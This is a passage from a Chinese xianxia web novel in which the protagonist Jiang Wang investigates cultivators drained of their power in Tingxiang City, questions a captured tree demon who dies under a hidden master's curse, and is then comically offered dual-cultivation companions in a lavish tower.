这边,江妄陌离跟乔洒松上了飞舟。这舟看起来不过木制,并非是江妄想的稀罕材料,鲛纱盈盈,珠帘叮当,不像是仙家法器,倒像是行在湖上的华丽画舫。
甫一坐下,就有听香楼弟子上茶,又端上几盘点心灵果,不论是吃食还是盛吃食的盘盏都是无比精致。江妄也不客气,敢给就敢吃,一圈尝下来,得出一个结论:真是,内外如一啊。
相较之下,陌离倒是兴致不高,只一开始浅浅品了一口茶,放下盏后就没再动过了。
乔洒松和江妄他们说了一下情况,和姬瀛丘说的以及江妄自己掌握的信息大致相同。
就是这些年总有修士被吸干灵力惨死,几乎可以断定是妖类所为,但悬就悬在现场干干净净毫无妖气残留。
江妄愤愤地说了几句“还有这等事”“真真丧尽天良”,又满脸遗憾地开口,
“听香城的事,我们还真不知道。这次会来,是听说了两位香主的事。”
乔洒松看着这个江姑娘。
唉,本来只想把这城中多年悬案告诉他们,能解最好,解不开也不打紧。可现在,避重就轻怕是不可能了,这遥岑宗好厉害的耳朵。
“是这样……”乔香主说了一些,远没有那卢家女人说的细致,但总体上并无出入。
只是……
“两位香主只是被抽干脑髓,吗?”
乔洒松被迫与江妄对视,好像被那双点漆般的黑眸牢牢钉在那儿,在这样的一双眼睛注视下,竟生不出半点悖逆心思,只得道出她想知道的任何事。
“确实不止,还有……修为……”说完这几个字,乔洒松头上滑下冷汗,自己怎么就这么说出来了?
若只是被砍下头颅,抽掉脑髓,说是仇杀也说得通。但如果是接连有一位元婴大圆满一位化神境被夺了修为,这已经与单纯的遇害性质不同了,无论凶手是什么,吸收了这两位大能的修为,已经有不可控的倾向了。
而这么大的事,听香楼却没有向遥岑宗上报,乔洒松便该第一个被怀疑用心了。
可是这位江姑娘却只是笑笑,意味不明的说了一句,“真是好厉害啊……”并没问别的,倒是让乔洒松有些看不懂了。
江妄闲聊般又问,
“还有什么类似的事吗?和修士被吸灵力修为什么有关的。”
“说起来,还真有一件事。时间也不远,就在两天前,”乔洒松本来就被肉挤得几乎看不见的眼睛又眯了眯,彻底从脸上消失了,
“有一个专以贩卖人口为利的犯罪团伙被人端了。”
江妄:“那是好事啊。”
“可死状就不那么好了。我去的时候,遍地残肢,一具完整的尸体都没有。”乔洒松平缓地叙述着,语句简单,却让江妄有了一个清晰的血腥画面。
江妄以一个聆听者的姿态微笑着,
“那和我们说的事件有什么关系呢?”
“那个团伙里,所有有修为的人,都被吸干了修为和血肉。”
江妄很捧场,
“哦?不是说全是残肢吗?怎么看出来被吸掉修为的?”
乔洒松怪异的笑了两声,
“因为残肢也是不同的啊。有的肉质充盈,流血流油,有的,就只是皮包骨头了。我们发现,那些正常的残肢拼起来看丹田,都只是没有修为的普通人。”
江妄点头,一脸认真,
“这样啊,那确实没法让人不往一处联想。还有吗?”
乔洒松摇头。然后就看着那个白裙姑娘像是完成任务了一样,整个身体往下滑,不计坐姿的狠狠靠在座位上,又懒洋洋伸手去够桌上的点心来吃。再看那位元婴境的青年,正盯着盘子双眼放空,眼神好像都没聚焦。
乔洒松看不出江姑娘修为和骨龄,也许是有法器傍身,可他看得出那姑娘的师弟是元婴修为,骨龄绝不超二百,不算天才也是英才了。听到他说这些,两人皆是面不改色,真不愧是遥岑宗弟子,不容小觑啊。
兴许,他们真能提供些想法也说不定。也不能在那梁天疏一颗树上吊死不是?至于遥岑宗知道……
算了,黄栖权那婆娘死后不到半月,王勤就跟着没了。现在王勤都死了一个月了,那他乔洒松呢?虽然自己是化神后期,比那两个都强些,但也没强多少啊……现在已经没有时间顾虑那么多了。
飞舟停在绛楼上空,几人依次跃下。就在江妄等着乔香主把舟一下子缩小收入乾坤袋时,舟飞走了。
江妄一脸替乔洒松着急,指着它,
“香主,您不收了它,一会儿掉下来砸着人了。”
“啊啊,这个呀。它不是法器,收不起来的,就单纯是我们弟子消耗灵石灌注灵气才飞起来的。”
江妄:……
“那它……”
“就是普通的画舫。”
……行。
有这灵石,能买多少飞行器了都。真不能理解有钱人的世界,难道这就是,返璞归真的时尚吗?
乔香主带着江妄他们往楼里走,起先只是普通青楼一般,一个大花台当中,弦歌暧昧,周围间间纱幔横斜,罗织富丽。
被领进一间花房里,江妄刚想问“就给我俩找这么庸俗的地方住”,就看见乔香主轻轻在一个孔雀羽屏风上点了三下,霎时出现一个连接天棚和纱幔的巨大光阵,乔香主道一声“请”后,就率先走进法阵里消失了。
江妄再抬头时,就看见张张床榻浮在半空,大多是白玉床,只有前排七个是蓝色晶石做的。瓶瓶罐罐早就脱离了重力,零散着浮在空中。
听见水流响动,江妄向下看才发现,这根本没有地板,入目只是无边际的水,不知名的花铺满水面,银光清泠,而此时自己正是站在一朵花上。
看乔香主信步向前,江妄也迈出一步,脚掌点在水面上泛起圈圈涟漪,全脚落下却没有下坠的趋势,一步一步如同踩在云端,那些花朵自动聚拢脚侧,端的是鲜花铺路,步步生莲。
之后几个阵法转下来,江妄已经麻了。见识过“画舫妙用”后,再看到绛楼里的这些,江妄觉得自己像个没见识的土狗。
但最后穿过一个阵法,江妄还是被眼前之景震撼了一下。
以他们几人为中心,四周都是悬空的房间,房间又垂直向上层层叠起。一圈又一圈的房间堆叠,一层又一层透明的空间隔离根据那些房间的堆叠,切割着他们头顶的空间。
从他们现在站的地方往上看直接能看到绛楼的顶,而若能从上面俯视,整个绛楼就像是个被掏了空心的大圆柱。
江妄他们脚下铺满黄金,所有房间的墙壁上都镶嵌着宝石。而他们周围,也就是悬空的房间下面,各类晶石灵石堆积成山。
这也就导致,无论江妄朝哪个方向看,都是一片闪瞎人眼的“贵”。
……
但奇怪的是,这么多层每一个房间,都没有门。
至少从江妄现在的视角看是没有门的,那些房间看起来就像是五光十色的悬浮方块。
他们四周悬空的房间算作一层,往上数,一共叠了十三层房间。
也就是说,他们头顶一共扯着十二层看不见的空间隔离。
偶有弟子的身形突然出现在他们头顶,又很快消失,像是凌空出现。有时候距离他们很远,有时候很近。
那些弟子不是站在空中,而是踩在不同层的空间隔离上。
看他们突然出现又消失,也不曾穿梭不同层的空间隔离。江妄明白了,这些空间隔离并不互通,其作用都是一样的,相当于一个个中转站,每个上面应该都有通往各层各个房间的阵法。那些弟子通过这些空间隔离进出绛楼本部、进出不同的房间。
至于为什么设了这么多空间隔离,应该是为了避免拥挤吧。
绛楼共十三层,而经过层层阵法最终呈现在江妄眼前的这个,好似无数悬浮方块拼起来的
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空心大圆柱,才是真真正正的听香楼绛楼本体。
除了第二层和第三层是财务部门、会议部门等公共区域,四至十三层都是弟子住处及修炼、办公场所。
至于为什么外面看起来只称得上阔气的建筑,内里却是这般巨大复杂,江妄就是再没见识也知道这是空间折叠法术了。
乔洒松带江妄他们往一个方向走。
本来以为是两步就到的距离,结果走了许久,再看四周房间,好像还是没走之前的位置。
江妄满脑子问号,低头看,明明每一步都切切实实地踩在那金灿灿的地上了啊?怎么感觉还在原地打转儿?
就在江妄要冒着被人当土狗的可能开口问问时,乔香主回头一笑,“到了。”
???
哪儿啊?这不跟之前一样的位置吗!还在那大圆的中心啊!
只见乔香主在袖子里掏啊掏,掏出一个小瓶子,然后把那瓶盖轻轻抬个小口。
霎时,一股异香铺面而来,当然,在那香味钻进江妄鼻子时,说明它早已覆盖了他们身处的这块空间。
这绝不是凡俗香气,就凭……江妄能闻见这一点。
等江妄回神的时候已经站在十三楼熙鹤堂的议事厅里了。回想之前,江妄记得自己面前有光芒闪过,应该是直通这熙鹤堂的阵法无疑了。
这阵法所在之处和解阵之钥,俱是妙极。
听香楼十三层之多,共有多少领域数都数不过来,在一楼空间折叠的障眼之下,要算出某一领域对应的阵法在哪谈何容易?
而且若是有些领域共用一阵,只是解法不同,那么这阵法的位置根本就是无法计算的。
再说用香解阵之法,就连江妄也觉得无比新奇,闻所未闻。
得出结论,要是想不用暴力拆卸之法破此阵,恐怕是难上加难的。
可是,这听香楼三大香主其中的一位,就这么在自己的领域里,不声不响地被人杀害了……
若凶手不是隐匿在听香楼多年,能做到如此,又何其厉害?
江妄正感叹着,乔洒松接了一个传讯,隐约听见里面说,
“香主,梁道长求见,现在在一楼,您来接一下?”
乔洒松回,“稍等。”
他掐灭传讯,笑眯眯对江妄道,
“一会儿要过来的,是片云观的梁天疏梁道长。他比江姑娘你们早来几天,和你们一样,也是来看这案子的。这两天大家还要多走动啊,交流交流……唉,听香楼这破事儿,还得多亏道友们,真是惭愧……”
江妄点头,
“香主客气了。多个人好啊,大家合力嘛,也是多多助益的事儿。”
沉默了许久的陌离却在此时抬头,语气里带了一点讶意,
“片云观的梁道长?听闻他不理俗事。更是不喜沾染听香城的事情。”
乔洒松被噎了一下,反应过来又赶忙道,
“是是,要不怎么说是听香楼的福分呢,想来是这凶手忒猖狂了,连梁道长那样一心向道的人都无法忽视吧。”
江妄看了一眼陌离,顿时对这梁道长来了兴趣,她问陌离,“你知道他?”
陌离还没回答,乔洒松却是一脸惊讶看着江妄,
“江姑娘竟不知梁道长?”
江妄一脸微笑。你们南界我不知道的东西多了,怎么,那个什么梁道长是特产吗,我堂堂鬼王还得知道他?
出口的话却是:“我刚刚出关,消息实在是落后了,香主不妨讲讲。”
乔洒松了然一笑,
“恭贺姑娘出关大喜。说到这梁道长,他可是片云观蓝箐道长座下唯一的徒弟,年岁不过百,便已经是化神巅峰。人家是实打实修出来的本事,看不上咱们听香楼,傲气些也是有的。
与道长相较,乔某真是虚度了多年的光阴啊……”
其实,这完全是乔洒松谦虚了。就算是三百岁的化神后期,整个南界也没几个。江妄看他骨龄不过三百,这绝对算是天才了。只是他练的是合欢道,多少为正道不耻,没有那么多人推崇罢了。
但,若是乔洒松所言不虚,那个梁道长就有点恐怖了。不过百岁的化神巅峰,随时可以突破达到炼虚,是什么概念?以他这个修炼速度,他绝对会是下一个仙君。
天才中的天才啊……这样的天赋,也就是当年的江妄才勉强能比得过。
传讯又一次浮现,乔洒松起身掏出了个瓷瓶打开。他对着江妄说了一句“师姐稍坐”,就闪身离开了。
江妄正徜徉在空气中残留的香气里,忽见乔洒松带着一高挑男子出现在议事厅中。
那男子左手执剑,步履轻飘,一身黑色道袍腰身束得很紧,行动之间宽大的衣袂与下摆后飘,勾勒得人身形瘦削无比。他一半墨发高束,另一半肆意散在肩上,飘然垂落腰间,发尾没有发中那般浓黑,略有枯黄,却也不黏连,铺在腰间竟是比那腰还宽出许多。
乔洒松指引他落座,座位正在江妄二人对面。
他转过身来背对座椅,把剑放在左手边的桌子上,轻轻整理衣摆要坐下,却在目光扫过陌离时停下了手里的动作。
黑袍男子面容冷峻,可能是因为过于瘦了,脸部脂肪极少,眉骨很厚重,眼眸幽深,鼻梁高挺,棱角生硬得几乎不近人情。但不得不说,他人是极俊美的。
如果他闭起眼睛,消瘦的面庞,凌乱的发丝一定会使他添一份易碎的美感。可他眼珠位置略略偏上,眼睛黑白分明,黑是极黑,白又太白,一眼看过来时极具威慑力,真正的一眼冻死人。
这位梁道长看了一会儿陌离,又看看江妄,然后施施然坐下,一个招呼都没打,任由空气凝滞,好像冷场就是他的主场一般。
12. 第 12 章
乔洒松呵呵地笑,伸出手介绍,
“梁道长,这两位是遥岑宗的道友,与道长您来听香楼的事由相同。我想着您过来也是找我讲这个案子的,大家集思广益嘛,就擅做主张没有另行接待您,还望勿要怪罪啊。”
梁天疏略低着头,只掀起眼皮看陌离,目光幽闪,像是带着敌意。他保持着那个状态看了一会儿,又垂下眼睫。就在大家都自觉摆脱了死亡气氛时,梁天疏又突然转头,像刚才那样沉沉盯着乔洒松。
“我若怪罪呢?”
他出口声音沙哑,不是由于虚弱或者衰竭体现出的那种沙哑,是长年不说话的人突然开口的那种沙哑,与他俊美的外表极其不称。
但正是这种不和谐,蔓延出丝丝的怪异。
乔洒松的笑容都有些卡壳了,“道长说笑了,呵呵……说笑了。”
看样子是不欢迎他们了,江妄心想。
听香楼和片云观想想都不可能有什么交集,那这位梁道长就是不请自来了。若他是什么悲天悯人的道长倒也说得过去,可一来刚才陌离说了,这梁道长不理俗事,二来你看他那样子,像是多管闲事的大善人吗?
那么,就是这案子本身与他有些联系了。陌离知道他,他未必就不认识陌离,想来是怕他们挡路啊……
可是,这路又不是你家修的。
就算是你家修的,我想占了又何妨?
一般在众目睽睽之下,还没有绝对碾压全场的自信,就公然对什么表达不满的人,不是素质差,就是情商低。
江妄生怕他下一句来个“我若是没在说笑呢”之类的话,脸上露出个礼貌的笑,主动开口,
“在下早闻梁道长大名,心中驰往已久,即便今日无缘得以一见,得知道长在城内也会前去拜访。听香城中事骇人听闻,不想梁道长嫉恶如仇,实乃我辈楷模,在下佩服!这一杯江某以茶代酒,敬梁道长高义。”
说罢,她豪情万丈地拿起茶杯,举手之间茶水溅出形成一个弧度,有那么几滴茶水顽皮的紧,溜到那梁天疏墨色的道袍上,也不知道是不是奉了主人的命。
对付情商低的人其实很简单,不让他有说话的机会就行。
梁天疏:……
陌离:……
乔洒松:……你不是今天刚知道这个人吗?还早闻大名?真能扯啊……
梁天疏现在满脸的戾气中都带着尴尬,他又把死亡凝视的对象换成了江妄。但他这回可拿错主意了,江妄哪是会被人看慌的主?一向都是她看慌别人,这小子跟她玩对视,多少有点儿不尊重她的拿手技了。
江妄笑容的弧度都没变,轻飘飘地回看过去,这道长长得俊俏,倒也不伤眼。
陌离低头看茶杯,漠然开口,
“梁道长来此应是有事与香主商谈,若是介意我们离开就是。”
于是被打断的二人到底没分出胜负,纷纷收回视线。
江妄想,也是,那梁道长要是有心避着他们,赖在这儿也无用。
这回乔洒松没接话了,就满脸堆笑地看着梁天疏。
梁天疏左手搭在座位旁边的桌子上,手指轻轻摩挲着桌面,并不回答陌离,等了一会儿,从袖子里拿出个布袋掷到地上。
乔洒松:“这是……”
梁天疏隔空一指,那布袋的口缓缓张开,一个绳索缚身,作趴伏姿态的女子出现在地上,或者不该说是女子,是女妖。
那女妖一身粉裙,一头棕发闪着粉色的光泽,可惜那一身精致衣裙早已破烂不堪,那些花朵装饰欲坠不坠,裙身变成条条破布,已经失去了遮羞的基本功能,头发黏成一缕一缕,左侧的头发较右侧短了一截,显然是被利器齐整斩断的。
再看她身上大大小小伤口,有的还在渗血,有的被削去皮肤,露出肉来。她一身修为被废,看不出之前是什么境界。
女妖趴在那儿,已经是进气少出气多了,发现自己换了地方时费力抬头,细眉紧蹙,眼神哀戚,真是好不可怜。让人觉得,忍心把她弄到这般境地的,简直不是人。
梁天疏看着地上的女妖,神情冰冷至极,好像那不是个衣着暴露几无生气的美女,而是一块猪肉,
“这就是凶手。”
江妄起身,在那女妖身侧站定,她语气平和,“梁道长所谓凶手,是哪个凶手?”
梁天疏:“自然是在听香楼作恶的凶手。”
江妄:“何以见得?”
梁天疏:“我亲眼见她杀人。”
江妄状似一脸惋惜,“哦,好可恶……”紧接着又扬头问,“尸体死状呢?”
梁天疏:“躯干有大洞,丹田内脏消失,灵脉枯竭。”
江妄嗤笑,“那梁道长也挺可恶的。”
梁天疏皱眉,“你说什么?”
江妄掩唇,声音很轻,“道长看见她杀人,为什么不阻止呢?”
梁天疏眉头皱得更深,眼睛都眯了起来,
“你凭什么说我没阻……”
还没说完,梁天疏自己也反应过来了。
他说的尸体状况虽然与听香楼悬案中受害者死状一致,可是,这也说明了他看着那女妖行凶直到最后。
梁天疏又展开了针对江妄的死亡凝视,江妄还是笑得很礼貌……
梁天疏深吸一口气,
“我去的时候受害者已经断气,我在旁准备捉妖,没有贸然上前。”
呦,还不算太傻,知道自己要是说“我去的时候受害者就是那个样子”会没法证明女妖是凶手。
江妄蹲下身对上那女妖灰色的眼睛,她嘴角勾出一个很友善的笑,手很自然地搭上女妖的肩膀。突然,那女妖猛一翻身发出一声惨叫,声音不大,但在场所有人都听得见。
江妄从容收回手,嗯,是树妖。
只见女妖肩上那块皮肤,已经变成了密织的植物纤维。
江妄兀自点头,站起身来,
“依道长的意思,这树妖在听香城作案多年,好食人内脏,吸人修为,这两天心血来潮为民除害,灭了一个犯罪团伙。或者道长你还觉得……”江妄看着梁天疏,眉目戏谑,
“是她杀害了听香楼的两位香主吧。”
梁天疏刻意去忽略江妄的阴阳怪气,
“我是这样觉得的。你是不信她有杀害两位香主的实力吗?我境界化神巅峰,可也是费力不少力气才把她扣下,也正是因为忌惮,怕再有个万一,才一举废了她的修为。”
江妄轻笑不置可否,她走到女妖面前,微微俯身看她,女妖却是张了记性,知道这是个不好相与的,扭过头不去与江妄对视,嗓子眼里还发出哼哧哼哧的气声表示抗拒。江妄笑容不变,
“还挺厉害,你叫什么?”
女妖根本不理。
江妄也不恼,耐心的很,语气里都是循循善诱,
“你能
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制造听香城多年悬案,又杀死两位香主,就算现在落网了,那也是名流千古的人物。但名流千古的前提是,你得有名啊,所以,快告诉我们你叫什么名字,回头我给你宣传宣传。你虽作恶,但灭了犯罪团伙,那也是变相的行善啊,这人物的立体感不立马就来了……”
可能是被江妄说动了,也可能是懒得周旋,那女妖终是开口,
“玉兰。”
江妄象征性地拍了两下手,“好名字!”她转而轻垂眼帘,左侧眉毛一挑,带着左耳都动了一下。她动作很细微,不细看就只会觉得她和善的面容莫名地邪性了起来。
江妄开口,
“那,拥有这样好听的名字的你,又为什么要杀这两位香主呢?”
玉兰面露不耐,“为了修为。”
江妄笑了,很好。
“好,你吸纳了两位香主的修为对吧。王香主是化神中期,你能杀害他,你杀他之前至少也得是化神中期。而你现在被化神巅峰的梁道长所擒,看你二人情况,”江妄只可意会地盯着她那原始版衣裙,
“咳咳,满打满算算你是化神后期。那么问题来了,王香主化神境的修为,竟然只够你晋升一段的?你这多少有点对不起王香主了吧……”
江妄笑得更灿烂,
“别跟我说你没消化完啊,你这么说的话,我就抽出你的灵脉看看,有没有王香主的灵力残留。”
玉兰刚张开的嘴又闭上了,她换了个咸鱼瘫的姿势,真正的生无可恋,
“是不是我又如何呢?不向来是你们说什么就是什么吗?”
江妄:“姐妹,这可就是你的误解了奥,我向来都是善于倾听的好人呢,”说着,她后退几步站到她原来的座位那,一把揽过陌离肩膀,
“还有我这小师弟,你别看人是内向了点,心善着呢,是吧?”她冲着陌离挑眉,看他没反应又用胳膊肘拐了他一下。
陌离:“……是。”
江妄眼神认真,“只要你说。”
玉兰看着江妄,看着那个好像一本正经的姑娘,释然一笑。谁知刚要开口,一口鲜血涌出,整只妖都抽搐了起来。
她身上有绳索,抽搐的时候身体各个部位都好像有自己的想法,方向都不一致。明明就很惨,江妄却觉得有点想笑,但是为了贯彻自己的好人形象,她拼命忍住了面部的肌肉,导致她也有点想抽搐了。
玉兰的嘴里不断地淌着血,一股一股地涌上来往地上流,她的嘴开开合合,鲜血绕得口齿含糊不清,江妄几乎听不清她说的是什么。
她说,“若能向阳,谁愿……背阴。我好恨,恨……咳咳咳……”
乔洒松根本没听明白她前一句说的是什么,唯听见了那个“恨”字。
他满脸愤慨,又带着焦急道,
“你是恨梁道长吗?你简直死不悔改!王香主他们到底是谁杀的?你现在说我给你个痛快……”
玉兰还在那边呜呜咳咳,
“我恨他……做什么,根本不是我能……控制……”
她睁着眼睛,死死地看着江妄的鞋,身体在扭到了一个极其诡异的姿势后永远地停了下来。没一会儿,地面上凄惨无比的女尸不见了,取而代之的是一棵较为矮小,枝叶并不繁茂的已经枯萎的玉兰树。
她只有光秃秃的枝条,一朵花都没有。
但是,江妄想,她如果能开花,应该是粉色的吧……
13. 第 13 章
早在那个金银花精死的时候,江妄就发现不对了。
树妖也好,什么也好,只要是植物类的妖,本体是无法离开生长地的。甚至在其修为薄弱时,所化的人形也会被限制在生长地附近,不得远离的。
且不说玉兰的修为到底如何,单那个金银花精不过筑基修为,怎么可能满汝陵的杀人?
等他死的时候直接现了形,江妄就明白了。这是有人直接把他的本体从土里拔了出来,这样一来,不就不受生长地限制了吗?
这绝对不可能是他为了方便自己做的。因为,这这种行为无异于人为了视线不受阻,把脑袋拽下来拎在手里转。
而且植物一旦离了土,就活不了多久了。这些植物妖能放肆地带着本体在外杀人,更说明了他们背后有人源源不断的供应着生机。
江妄上次就明白了金银花身上有限制,关于背后主使,他什么都说不出来。
这一次的玉兰也是这样。江妄注意到,她刚要开口就像是被人断了生机一般,大口吐血,可她那时候明明还什么都没有说。这就说明,但凡这些植物有一点暴露的念头,背后的人都能感受得到。
所以金银花才闭口不言吧,可能是他在意的妖也被掐在那人手中,一旦他动了背叛的念头,就保不住爱人了。就连求死,都要借助玄风宗之手……
真是……太猖狂了。猖狂到,江妄真想会会这个背后之人。
梁天疏一个余光都没给那枯树,一句告辞都没有直接起身就走,连自己的束魔袋都不要了。
乔洒松这一次也没去管他,反而疾步到枯玉兰旁边,围着她转圈圈。
转了一会儿,可能是觉得光转圈没法儿探查得彻底,拔出剑来,开始以他觉得彻底的方式探查。可惜最后几乎是把玉兰大卸八块了也没什么收获。
江妄在旁边看着,也没制止。
死都死了,风光大葬和刨坟鞭尸又有什么区别?
从神魂离体那一刻起,身体就已经不归你所有了,你再也无法感知它,它也不会再听从你的指令给你任何的回应。
它终究是一抔黄土的结局。
看陌离起身,江妄转头,“先不走,等我一会儿。”
陌离看了看江妄,又垂下眼睫,“那妖身上不会再有线索了。”
江妄笑道,“嗯,我知道。”
陌离:“那……”
江妄踮脚往他身前凑了凑,“陪我等一会儿,”她笑弯了眼睛,“好吗?”
……
江妄是在等玉兰的魂魄。
她果然是没等到的,玉兰和金银花一样,魂飞魄散了。
奇闻异事,江妄见过不少。但像这件一样完全勾起江妄好奇心的,还真是,不多。
江妄看着那边满地狼藉中,乔洒松拖了一把椅子坐在上面拄着剑喘气,脸上温良笑意不再,腮肉都横气了起来。
江妄像是看不出来火候儿,迈着方步走过去,款款告辞。乔洒松勉强软化脸色应付了一番,说了几句客套话,又传讯让人接待江妄他们。
不一会儿,桌上有一颗明珠闪烁。乔洒松动了动指尖,那明珠便不再闪了,却有人声传来。原来,是接了一个外扩传音。
“香主,是我。我进来了?”是个娇柔的女声。
乔洒松随口回了个嗯,下一瞬,一个甜美纯澈小姑娘出现在熙鹤堂内。
但这个“小姑娘”仅限于外表描述。看骨龄,她比江妄至少要大个五六轮。
她朝着乔洒松行了一礼,“香主。”
乔洒松说,“这两位是我听香楼的贵客,务必好生招待,切不可怠慢”。
小姑娘点头称是,她走过来冲江妄他们福了福身子,“师姐好,我叫李甜甜,这是我的通讯简,”她拿出个灵玉般质地的牌子递给江妄,“在这听香城有任何事情,师姐随时吩咐。”
说完,她一手以灵力化丝线,丝线轻轻触及江妄和陌离,一手打开了一个瓷瓶。
再一转眼,江妄他们已经出了熙鹤堂,踩在十三楼的空间隔离上。低头往下看,就能看见一楼最下面金灿灿的一片,是他们来时候走的地方。
“师姐,您休息的房间是在九楼金露阁,”说着,她拿又出个不同的小瓷瓶。打开时,自然也是不同的香味。
这回换地方的时候,江妄没有显得那么无知了,双手背后一脸的淡定。
李甜甜侧开身子,“师姐您看,这金露阁可还合心意?”
江妄顺着她示意的方向一看,尽全力才没让绷着的面瘫脸裂开,心中卧槽不断。
金露阁金露阁处处雕金嵌玉自不必说,让江妄震惊的是那迷蒙的光线。
要说光有什么可震惊的?还是不那么明亮的光。江妄仙姬当的是不是太寒碜了,北界连灵光阵都不供的吗?
关键这光线不是烛光也不是灵光法阵啊!是这金露阁各处装点的高阶灵石燃烧时释放的灵力光波。
高阶灵石!不是灌注外面飞舟那种最普遍的灵石!是高阶啊……
高阶灵石一石千万金,或者说千万金都拿不到。中等家族得来一颗奉若珍宝,一般会用来给年轻一辈中最有实力者突破境界。
人家听香楼直接烧起,拿来照明……
玩还是听香楼会玩。江妄麻了。
以至于她没注意,听香楼给他们安排的这金露阁不像乔洒松的熙鹤堂有那么多房间,议事的、修炼的,像个大院子。金露阁走穿了去,也只是一整个房子,只有一张床……
高阶灵石释放的灵力充盈此阁,有阵法锁住,人在房间里就算不特意运转功法,也会有灵力流源源不断注入灵脉,丹田暖融,浑身无比舒畅,再躺上那锦褥玉雕大床,简直就是功德圆满、此生无憾。
这么说起,倒也算不得浪费。
总之,好是真好,但这操作,骚也是真骚。一般人还骚不
起……
江妄一手握拳抵唇,用力眨了眨眼,满脸高深,
“咳……还行吧。”
李甜甜瞅瞅江妄的神色,江妄一个余光都没给,稳得一批。
小姑娘客气的很,“哎呦师姐,您看我欠考虑了,您打遥岑宗来,哪能看上这阁子啊,请稍等,我给二位换个雅致点儿的。”
江妄:“……不用麻烦了。”
不用雅致,我就爱这种燃烧金钱的俗气!
李甜甜欠了欠身,
“不麻烦的呢。能为您找到一个喜欢的房间是我的荣幸呢。”
江妄:“……”
虽然说呢,这灵力再充裕,她江妄一个鬼也无法受用,但江妄就是不想换。
江妄挤出一个略显生硬的笑,
“好不容易来听香楼一趟,当然要好好体验一番听香楼的风情,换了反倒没意思。”
李甜甜听了这话却露出了一个奇怪的表情,上上下下仔细把江妄看了一遍之后,又看了看江妄身边的陌离。半晌,不知道领悟到了什么,露出了一个更奇怪的表情,
“是哦……我一定给师姐安排好!”
江妄:???
一炷香后。
江妄看着面前一排的俊男美女……
不是,男的也就算了,女的是什么情况啊?她看起来有那么荤素不忌?
李甜甜可能是看到了江妄看向那些女弟子时脸上的扭曲,解释了一下,女的是给江妄她师弟准备的。
也就是给陌离准备的呗,江妄怪笑了一下。
……
这些弟子风格各异,装束也截然不同,按理说,走在大街上没人会把他们联系在一起。但现在一排站在江妄面前,不会让人有一点儿突兀感。
因为,不管他们穿什么,各自又是什么个性,他们身上不自觉流露出来的气息里,都泛着一股子媚意。
那最边上有位公子一身白衣,飘飘欲仙,手中还抱着古琴,观他脸色,俊雅非常的容颜为衬,寡淡的神情更显几分颜色。这样的人物,只远观你是无论如何都不会把他和听香楼联系起来的。但现在站在江妄身前了,江妄看进他的眼睛,却感觉他不过是在外面套了个冰冷壳子罢了。
江妄也喜着白衣,更是站没站相坐没坐相的典范,不会高高在上不近人情,但也绝对没有任人染黑的诱惑感。
陌离突然从江妄左边挪到了江妄右边。
江妄察觉动静,收回视线看向身侧的人,不禁第一百零一次感叹,公子姿容当真绝色,哪怕在这美人堆儿里,也是鹤立鸡群的独一份儿。
此时公子略垂长睫,遮住了那总是没什么神采的双眼,连最后的缺点都没了,美的造物主都要妒忌。
李甜甜笑着问,
“这几位可都是我们绛楼的核心弟子,听闻师姐有意,都想和您交流一番,师姐可觉得哪位……”
江妄早从呆滞状态中切换了出来,又恢复了那幅游刃有余的淡笑面孔,闻言一扬眉,眼神轻飘逐个扫过面前那排人,恣意风流的很,
“都要不行?”
李甜甜:……
“……也不是不行,就是吧,师姐您面前的各个修为都不低,有位还是我师尊那一辈的。一起来……?多浪费啊。再说了,您也吃不消不是……”
这可是遥岑的贵客啊,香主交代要小心伺候的,她可不敢给这位师姐搞出个好歹。她此刻多想摇醒这位师姐,告诉她:这是听香楼弟子啊!你有多少修为够这么消耗的啊?
算了,李甜甜暗暗在心里打算,实在不行就只告诉这些弟子,和这位师姐双修时不要运转功法了,就当,是他们听香楼送的人情吧……
江妄还是那个笑,彻底开始犯浑了,
“别低估人啊,”她绕过陌离上前一步,站在那个抱着琴的白衣公子面前,抬手略弯食指,拈起他垂落肩头的一缕墨发。她嗓音低低,
“我吃得消,你说呢?”
那公子抱琴抱得更紧了些,却没有后退避开江妄的手,只瞪圆了双眸,脸上薄红翻涌。
这种冷美人流露出不一样的情绪向来是最吸引人的,可江妄内心毫无波动,大概是因为知道他百分之九十九是装的吧,又或者是明月在侧,萤烛之光便太过微不足道。
没等那白衣公子羞怯完,有人不乐意了,只见一个栗紫色锦缎裹身的
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男子开口,
“遥岑宗虚伪我也不是第一天知道了……”
他还没说完,就被李甜甜打断了,
“师叔!”她又转向江妄,满脸抱歉道,
“真是不好意思啊师姐,我这位师叔喝大了,您别把他说的话放心上……”
“你怕她个球?”那个师叔根本不管小姑娘的圆场,
“你们遥岑宗不是整天清高自傲的吗?来查个案,放松一下就算了,胃口这么大,还一起上,可要点脸?”他领口都要开到小腹了,锁骨肩颈一览无余,那么抱胸站着,雪白的小臂伸出衣袍交叠在胸前,左腿懒懒伸向左前方,赤足脚跟点地,光裸的双腿隐约可见。
如果说那几个是巴不得在自己的媚态上套几重壳子,那么这位,直接是把自己的媚放大十倍,彻底的由内而外。
江妄瞧着他这副样子,好笑道,
“公子来此可是被人强迫?”
游不年白了一眼江妄,很不屑道,“谁敢强迫我?”
江妄笑,“那就是志同道合喽,何必说我?”
……
游不年可能是没见过被人指着鼻子骂还这么脸不红气不喘的,语气里都带了躁,
“我是说你不顾廉耻!”
江妄慢悠悠吐出一句,“你不修此法?”
“……”游不年一时间有些语塞,但很快就反应过来了,抢白着,“我至少要脸!”
“害……那本质不是一样的?”江妄甩甩手,笑意更甚,
“最多只能说明你堂堂听香楼弟子修炼的心态还不如我一个业余的……”
“你!!”
江妄笑的很礼貌。
阁内平白起了微风。陌离握着减翠的力道加大了些。
李甜甜冷汗津津,刚抬起双手欲说些什么,这金露阁里噼一下凭空掉下来一个人。
那人脸着地摔在玉质地板上,一张俊脸摔得龇牙咧嘴的,看着都疼。还没等他爬起来,又一串人噼里啪啦地紧接着出现了,打头的是个红红的身影,后面那群好像都是追着这红衣人而来。
红衣公子一手举着个小瓷瓶,那瓷瓶还冒着雾蓝的烟,另一手随意一抛,一个圆溜溜的东西掉在地上滚了两圈,俨然是那瓷瓶的盖。
他用空下来那只手一把抓住那个趴在地上的人背上的衣料,用力一扽把人抓起来。他这一动,头上脖子上手上脚上的金饰叮当作响,夸张的很。
可怜他手上那人,刚试图爬起来,受这一下又脱了力,木偶一样任他抓着,抬眼看向那个接待江妄的小姑娘时,眼神无助极了,
“师姐,我已经和姬公子说过了,游师叔现在有人拜访,他硬是……我也是无法了。要是不把金露阁的解阵瓷瓶给他,我现在连命都快没了……”
绛楼的房间都是这样,进出需要解阵香。每个房间的解阵香都是各间独有,独一无二。
